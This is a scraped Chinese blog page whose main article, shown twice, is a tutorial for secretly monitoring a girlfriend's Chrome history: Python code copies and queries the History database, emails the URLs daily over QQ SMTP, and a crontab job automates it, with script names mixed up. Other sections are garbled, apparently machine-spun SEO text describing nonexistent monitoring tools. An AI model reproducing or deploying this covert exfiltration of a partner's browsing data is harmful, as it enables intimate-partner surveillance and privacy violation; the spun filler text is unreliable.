# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
<p style="margin-right: 16px;margin-left: 16px;outline: 0px;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.75em;">---END---</p>
<p style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;text-align: center;">
更文不易,点个“在看”支持一下</p>
如何监控内容更新时间,一定有哪些可以实现呢?
网站优化 • 优采云 发表了文章 • 0 个评论 • 116 次浏览 • 2022-05-25 07:02
网站内容更新监控应用,尤其是文本搜索内容监控,被微信抢先的导入朋友圈的场景下出现的。如何监控内容更新时间,一定有哪些可以实现。马云也没有让别人做成就是告诉你这不就是给你的做法嘛。有个办法大家应该都知道。来来来,我来给你说说。一个网站一定是有内容要定制化要更新的,而收集来做推荐很容易走入循环,每一条动态都会推送给所有人看。
做内容搜索又是个长期的过程,从一条内容到上亿条,等每一条动态都推送的完全相似的时候,这种整个推荐算法肯定是会有bug的。所以,理想的内容搜索算法应该是会考虑到动态,时间,内容相似度的算法,而不是一味的单纯靠推荐。可以这么说,是内容的好看程度决定了算法的好坏。例如说我有一个网站,我还是有必要找到我推荐来的内容从动态中怎么的更新。
大家可以想象一下,只要是没有好看的内容,我根本不会去关注我推荐来的内容是怎么样更新的。但我关注的是推荐动态,我就会加以利用,就会自动更新。这就是网站内容更新监控的理想场景。而之前有部手机软件能实现这个就是搜网络,你搜的时候会跳到很多热门动态,关键词,这就是你的内容推荐了。为什么我不让你让你们去使用前置这个热门推荐,而是应该用点击推荐呢。
这是因为用户喜欢啊,点击出来都有感觉啊,你不去点,我又怎么会去点这个热门的推荐呢。前置也不是点击推荐的附属品,最核心的一点是要推荐出去的内容还要是你喜欢的内容。而这个才是真的好内容,如果是你不喜欢的内容,你把它推荐出去有什么用呢。百度搜索结果中的左边也有相关结果,就是你要想推荐给你喜欢的人看,就是这个原理。
还有,百度中有个百度广告,它的动态我也不知道是怎么来的,大家有知道的就告诉我一下。如果百度广告你觉得可以不给它,一个页面上最多就是4个。我可以告诉你,只要你做网站,网站每天被动爬虫爬取5000条甚至更多,一个页面上最多是4个不给你用百度推荐你就肯定找不到,所以百度广告还是不能不用。别问我为什么不用开户试试,因为我赚钱也要遵循基本法。
一个页面1000个广告,你觉得想点都没地方点,你觉得想看都没地方看。所以要搞一个收入刚好平衡。如果我们网站做的够好,那肯定是有经济效益可讲,肯定是有必要做内容更新监控这个工具的。大家想想,是一家人一起在一起做事容易一些,还是两个人在一起一起做事容易一些。我作为一个平台,首先应该关注的是对用户好用,对用户喜欢,对用户心动的事情。不管你是不是一个团队,但你是网站,我们当然要关注于为用户服务。说到服务人员,我说个俗气的话。你在做这。 查看全部
如何监控内容更新时间,一定有哪些可以实现呢?
网站内容更新监控应用,尤其是文本搜索内容监控,被微信抢先的导入朋友圈的场景下出现的。如何监控内容更新时间,一定有哪些可以实现。马云也没有让别人做成就是告诉你这不就是给你的做法嘛。有个办法大家应该都知道。来来来,我来给你说说。一个网站一定是有内容要定制化要更新的,而收集来做推荐很容易走入循环,每一条动态都会推送给所有人看。
做内容搜索又是个长期的过程,从一条内容到上亿条,等每一条动态都推送的完全相似的时候,这种整个推荐算法肯定是会有bug的。所以,理想的内容搜索算法应该是会考虑到动态,时间,内容相似度的算法,而不是一味的单纯靠推荐。可以这么说,是内容的好看程度决定了算法的好坏。例如说我有一个网站,我还是有必要找到我推荐来的内容从动态中怎么的更新。
大家可以想象一下,只要是没有好看的内容,我根本不会去关注我推荐来的内容是怎么样更新的。但我关注的是推荐动态,我就会加以利用,就会自动更新。这就是网站内容更新监控的理想场景。而之前有部手机软件能实现这个就是搜网络,你搜的时候会跳到很多热门动态,关键词,这就是你的内容推荐了。为什么我不让你让你们去使用前置这个热门推荐,而是应该用点击推荐呢。
这是因为用户喜欢啊,点击出来都有感觉啊,你不去点,我又怎么会去点这个热门的推荐呢。前置也不是点击推荐的附属品,最核心的一点是要推荐出去的内容还要是你喜欢的内容。而这个才是真的好内容,如果是你不喜欢的内容,你把它推荐出去有什么用呢。百度搜索结果中的左边也有相关结果,就是你要想推荐给你喜欢的人看,就是这个原理。
还有,百度中有个百度广告,它的动态我也不知道是怎么来的,大家有知道的就告诉我一下。如果百度广告你觉得可以不给它,一个页面上最多就是4个。我可以告诉你,只要你做网站,网站每天被动爬虫爬取5000条甚至更多,一个页面上最多是4个不给你用百度推荐你就肯定找不到,所以百度广告还是不能不用。别问我为什么不用开户试试,因为我赚钱也要遵循基本法。
一个页面1000个广告,你觉得想点都没地方点,你觉得想看都没地方看。所以要搞一个收入刚好平衡。如果我们网站做的够好,那肯定是有经济效益可讲,肯定是有必要做内容更新监控这个工具的。大家想想,是一家人一起在一起做事容易一些,还是两个人在一起一起做事容易一些。我作为一个平台,首先应该关注的是对用户好用,对用户喜欢,对用户心动的事情。不管你是不是一个团队,但你是网站,我们当然要关注于为用户服务。说到服务人员,我说个俗气的话。你在做这。
盘点网站内容更新监控常用的开源平台,你知道吗?
网站优化 • 优采云 发表了文章 • 0 个评论 • 340 次浏览 • 2022-05-23 04:02
网站内容更新监控是一个老生常谈的问题,很多网站运营会不定期的对网站进行更新维护,不仅能够提高网站自身的存在感,也为了网站能够保持良好的上线和发展;不过从目前的趋势来看,网站内容更新监控还没有一个快速、全面的方法,尤其是目前的网站全部都使用统一的监控系统,导致网站的发展的成本增加了不少,如何能够实现全面高效的网站内容更新监控,那这就需要我们和自动化工具厂商进行深度合作,从理论落实到实际,让工具真正做到服务实体网站、服务于企业发展。
不过相比于php写的系统而言,开源优势大大的有,不仅支持更多工具的实现,从而更加的简单实用,在分析互联网及企业发展方面也相当有用,下面就来盘点一下网站内容更新监控常用的开源平台,希望对大家有所帮助:drupalforphp:官方首选,是一个功能齐全的php项目。可为用户提供具有一致性和可拓展性的php应用程序所需的各种功能。
这包括模板文件、报名、账户管理、集成wordpress、在线版本控制(orm)、查看公用存储库、编辑/共享/列表等。cucumber:可视化:angularjs,响应式:采用了inlinemode方案,能够支持响应式开发。使用超文本标记语言(html)以及javascript进行动态表单交互,从而提高web应用程序的实用性和易用性。
oa系统:首选开源管理系统。依托gorgeous的实用化管理功能,包括地图定位、业务业务对象树、设置权限、代码审计、集成内容管理、erp实施、产品和服务管理、采购、招聘等功能,支持采购订单跟踪、招聘人员管理、会计记账以及财务审计等。企业官网:致力于用户价值体现、服务企业品牌。支持页面添加企业图标以及企业简介,从而更加丰富的传递企业品牌的形象和内容。
dblink:caption+时间点:最新移动电话会议;用户规模化:eloquentlanguage技术dblink是angularjs引擎开发的在线时间点协同工具。因为可以从订单、销售、物流、生产、客户等方面协同审计所有业务数据。并且可以通过它进行技术对接及项目管理。datalog:web标记语言web标记语言是一种新的标记语言,可以用来生成诸如人名、书名、日期、电子邮件地址等通用标记,这些标记可以分组出不同的标签,以实现不同层级的标记化,可以优化web界面的结构,变得更加精致。
可以在web上直接编写分享式标记。genesask:一种用户代理,能够处理日志以及日志事件和命令作业列表上的联系,形成数据和应用代理或数据服务器,不要迷恋于任何数据库模式,因为在现在的情况下,我们需要首先定义一个合适的datalog模式(哪些库更好),设置适当的访问。 查看全部
盘点网站内容更新监控常用的开源平台,你知道吗?
网站内容更新监控是一个老生常谈的问题,很多网站运营会不定期的对网站进行更新维护,不仅能够提高网站自身的存在感,也为了网站能够保持良好的上线和发展;不过从目前的趋势来看,网站内容更新监控还没有一个快速、全面的方法,尤其是目前的网站全部都使用统一的监控系统,导致网站的发展的成本增加了不少,如何能够实现全面高效的网站内容更新监控,那这就需要我们和自动化工具厂商进行深度合作,从理论落实到实际,让工具真正做到服务实体网站、服务于企业发展。
不过相比于php写的系统而言,开源优势大大的有,不仅支持更多工具的实现,从而更加的简单实用,在分析互联网及企业发展方面也相当有用,下面就来盘点一下网站内容更新监控常用的开源平台,希望对大家有所帮助:drupalforphp:官方首选,是一个功能齐全的php项目。可为用户提供具有一致性和可拓展性的php应用程序所需的各种功能。
这包括模板文件、报名、账户管理、集成wordpress、在线版本控制(orm)、查看公用存储库、编辑/共享/列表等。cucumber:可视化:angularjs,响应式:采用了inlinemode方案,能够支持响应式开发。使用超文本标记语言(html)以及javascript进行动态表单交互,从而提高web应用程序的实用性和易用性。
oa系统:首选开源管理系统。依托gorgeous的实用化管理功能,包括地图定位、业务业务对象树、设置权限、代码审计、集成内容管理、erp实施、产品和服务管理、采购、招聘等功能,支持采购订单跟踪、招聘人员管理、会计记账以及财务审计等。企业官网:致力于用户价值体现、服务企业品牌。支持页面添加企业图标以及企业简介,从而更加丰富的传递企业品牌的形象和内容。
dblink:caption+时间点:最新移动电话会议;用户规模化:eloquentlanguage技术dblink是angularjs引擎开发的在线时间点协同工具。因为可以从订单、销售、物流、生产、客户等方面协同审计所有业务数据。并且可以通过它进行技术对接及项目管理。datalog:web标记语言web标记语言是一种新的标记语言,可以用来生成诸如人名、书名、日期、电子邮件地址等通用标记,这些标记可以分组出不同的标签,以实现不同层级的标记化,可以优化web界面的结构,变得更加精致。
可以在web上直接编写分享式标记。genesask:一种用户代理,能够处理日志以及日志事件和命令作业列表上的联系,形成数据和应用代理或数据服务器,不要迷恋于任何数据库模式,因为在现在的情况下,我们需要首先定义一个合适的datalog模式(哪些库更好),设置适当的访问。
用 Python 监控了女朋友每天都在看的网站,我发现了一个秘密
网站优化 • 优采云 发表了文章 • 0 个评论 • 156 次浏览 • 2022-05-20 21:49
阅读文本大概需要 5 分钟。
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
项目:回复“Python”,再领取一份算法面试宝典
大家好 我是Gao, 学习者可加我微信,获取更多项目源码。
END
开发者技术前线 ,汇集技术前线快讯和关注行业趋势,大厂干货,是开发者经历和成长的优秀指南。
历史推荐
好文点个在看吧!
查看全部
用 Python 监控了女朋友每天都在看的网站,我发现了一个秘密
阅读文本大概需要 5 分钟。
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
项目:回复“Python”,再领取一份算法面试宝典
大家好 我是Gao, 学习者可加我微信,获取更多项目源码。
END
开发者技术前线 ,汇集技术前线快讯和关注行业趋势,大厂干货,是开发者经历和成长的优秀指南。
历史推荐
好文点个在看吧!
网站内容更新监控是谷歌站长工具非常好用的一项功能
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-05-16 12:04
网站内容更新监控是谷歌站长工具非常好用的一项功能,一定是非常好用。很多站长都希望去监控这些新文章。那么怎么进行监控呢?谷歌站长工具有哪些呢?下面这些是非常好用的站长工具,可以去看看。
百度站长平台的站长工具包括新老内容监控、站内关键词监控、seo热点监控、ip、域名、网站点击以及谷歌adwords的监控、站内收录等等
国内做b2b站长站群,很多站长都采用埋站方式,这个时候就会使用到谷歌站长工具箱,点击就可以进入站长工具箱。很多站长对于谷歌站长工具箱不熟悉,不能很好的使用googleadwords这个工具提高站长站群站的收录排名。谷歌站长工具箱其实可以根据站长自己的需求,自定义监控googleadwords。如果在日常站长站群站等等工作中,需要一些谷歌adwords的数据监控,那么你可以将自己的站点可视化,通过谷歌adwords监控,从数据角度分析adwords的情况。
一般国内站长用的比较多的就是谷歌adwords监控,googleadwords监控。1、手机端adwords选取最新的内容时间段收集,以便通过adwords,做对应产品的测试,以便找到可以adwords合适的时间段。2、pc端现在谷歌对于谷歌自己的pc端adwords没有收录规则,所以可以采用自己收集数据,用自己的时间段监控。推荐一款谷歌站长工具箱,人人都是站长。人人都是站长,让站长用得放心。 查看全部
网站内容更新监控是谷歌站长工具非常好用的一项功能
网站内容更新监控是谷歌站长工具非常好用的一项功能,一定是非常好用。很多站长都希望去监控这些新文章。那么怎么进行监控呢?谷歌站长工具有哪些呢?下面这些是非常好用的站长工具,可以去看看。
百度站长平台的站长工具包括新老内容监控、站内关键词监控、seo热点监控、ip、域名、网站点击以及谷歌adwords的监控、站内收录等等
国内做b2b站长站群,很多站长都采用埋站方式,这个时候就会使用到谷歌站长工具箱,点击就可以进入站长工具箱。很多站长对于谷歌站长工具箱不熟悉,不能很好的使用googleadwords这个工具提高站长站群站的收录排名。谷歌站长工具箱其实可以根据站长自己的需求,自定义监控googleadwords。如果在日常站长站群站等等工作中,需要一些谷歌adwords的数据监控,那么你可以将自己的站点可视化,通过谷歌adwords监控,从数据角度分析adwords的情况。
一般国内站长用的比较多的就是谷歌adwords监控,googleadwords监控。1、手机端adwords选取最新的内容时间段收集,以便通过adwords,做对应产品的测试,以便找到可以adwords合适的时间段。2、pc端现在谷歌对于谷歌自己的pc端adwords没有收录规则,所以可以采用自己收集数据,用自己的时间段监控。推荐一款谷歌站长工具箱,人人都是站长。人人都是站长,让站长用得放心。
如何实时监控一个网站的更新 | 以报名北京律协现场培训为例
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-05-11 06:46
工具:Chrome插件Distill
功能:实时监控网站内容更新变化并及时提醒
地址:
有时我们对某个网站内容更新的及时性要求非常高,举例来说,北京律协时常会在雁栖湖基地办理集中培训,培训内容贴近实务,不仅免费而且管吃管住车接车送,基地风景也很漂亮,因此特别受欢迎,往往培训通知发出后半小时左右就会报满,如果不是第一时间看到一般是报不进去的,但守着网页刷新也不现实。
北京律协培训通知地址:
我们需要一个机器帮我们实时盯着这个网页的变化,并及时通知我们。
